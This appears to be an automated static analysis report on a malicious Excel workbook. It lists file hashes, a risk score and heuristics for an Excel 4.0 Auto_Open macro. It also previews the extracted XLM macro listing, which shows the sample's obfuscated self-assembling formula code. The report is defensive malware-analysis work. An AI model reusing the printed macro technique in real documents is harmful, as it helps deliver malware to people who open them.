Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9e2b2d05c33ebc54…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-25 10:38:08 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 1e381d8221d50be857bd60b2ec07f0ed SHA-1: a2a971538164b13673468fa49dd8d603e07e7b08 SHA-256: 9e2b2d05c33ebc54264b10e67b3680568fe8ada4fcd755e9d29268b5f2f09062
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6616 bytes
SHA-256: 9457e1128da81701281b92b98181a24d5700a118555b1175a39bfcaa8516de29
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jjgvj
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H180 
' 0018     27 LABEL : Cell Value, String Constant - BmeNSdEgliRh len=0 
' 0018     23 LABEL : Cell Value, String Constant - ctcIpyrE len=0 
' 0018     25 LABEL : Cell Value, String Constant - DfbNkgxTZI len=0 
' 0018     26 LABEL : Cell Value, String Constant - DsgPimdzSng len=0 
' 0018     22 LABEL : Cell Value, String Constant - egzFNxB len=0 
' 0018     27 LABEL : Cell Value, String Constant - fGyJlQdZpqsj len=0 
' 0018     27 LABEL : Cell Value, String Constant - GPNRzIHVKSFj len=0 
' 0018     25 LABEL : Cell Value, String Constant - iGjcqQVokq len=0 
' 0018     22 LABEL : Cell Value, String Constant - IYZMSzz len=0 
' 0018     21 LABEL : Cell Value, String Constant - NoSQjm len=0 
' 0018     27 LABEL : Cell Value, String Constant - PYkxIQmvscPh len=0 
' 0018     21 LABEL : Cell Value, String Constant - reGzUI len=0 
' 0018     20 LABEL : Cell Value, String Constant - rkLbo len=0 
' 0018     23 LABEL : Cell Value, String Constant - RMHonIzv len=0 
' 0018     25 LABEL : Cell Value, String Constant - rmwZmqquJF len=0 
' 0018     26 LABEL : Cell Value, String Constant - rOBKIbSVSYC len=0 
' 0018     27 LABEL : Cell Value, String Constant - StYgbAYrcQEC len=0 
' 0018     25 LABEL : Cell Value, String Constant - TQhfMZglJq len=0 
' 0018     27 LABEL : Cell Value, String Constant - TzRHzbdyheGC len=0 
' 0018     25 LABEL : Cell Value, String Constant - vANOuEPtto len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jjgvj,H88,"SET.NAME("reGzUI",VALUE("0"))",""
'  jjgvj,H92,"SET.NAME("vANOuEPtto",reGzUI)",""
'  jjgvj,H94,"SET.NAME("NoSQjm",reGzUI)",""
'  jjgvj,H97,"SET.NAME("DfbNkgxTZI",COUNTA(rOBKIbSVSYC))",""
'  jjgvj,H99,"SET.NAME("IYZMSzz",COUNTA(RMHonIzv))",""
'  jjgvj,H104,[],""
'  jjgvj,H109,"SET.NAME("fGyJlQdZpqsj","")",""
'  jjgvj,H113,"vANOuEPtto",""
'  jjgvj,H116,"SET.NAME("rmwZmqquJF",HLOOKUP("*",rOBKIbSVSYC,vANOuEPtto,FALSE))",""
'  jjgvj,H119,"BmeNSdEgliRh",""
'  jjgvj,H122,"SET.NAME("egzFNxB",reGzUI)",""
'  jjgvj,H124,[],""
'  jjgvj,H129,"egzFNxB",""
'  jjgvj,H134,"rkLbo",""
'  jjgvj,H139,"TzRHzbdyheGC",""
'  jjgvj,H142,"iGjcqQVokq",""
'  jjgvj,H145,"SET.NAME("ctcIpyrE",VALUE(HLOOKUP("*",RMHonIzv,iGjcqQVokq,FALSE)))",""
'  jjgvj,H150,"TQhfMZglJq",""
'  jjgvj,H152,"fGyJlQdZpqsj",""
'  jjgvj,H157,"NoSQjm",""
'  jjgvj,H161,NEXT(),""
'  jjgvj,H164,"GPNRzIHVKSFj",""
'  jjgvj,H167,"SET.NAME("f",INT(T(FORMULA(T(fGyJlQdZpqsj)&"",""&T(GPNRzIHVKSFj)))))",""
'  jjgvj,H172,"DsgPimdzSng",""
'  jjgvj,H175,NEXT(),""
'  jjgvj,H177,RETURN(),""
'  jjgvj,H207,"SET.NAME("StYgbAYrcQEC",H88)",""
'  jjgvj,H209,"rOBKIbSVSYC",""
'  jjgvj,H213,"SET.NAME("RMHonIzv",R68C14)",""
'  jjgvj,H215,"SET.NAME("DsgPimdzSng",223)",""
'  jjgvj,H220,"SET.NAME("PYkxIQmvscPh",8)",""
'  jjgvj,H222,StYgbAYrcQEC(),""
'  jjgvj,H223,HALT(),""

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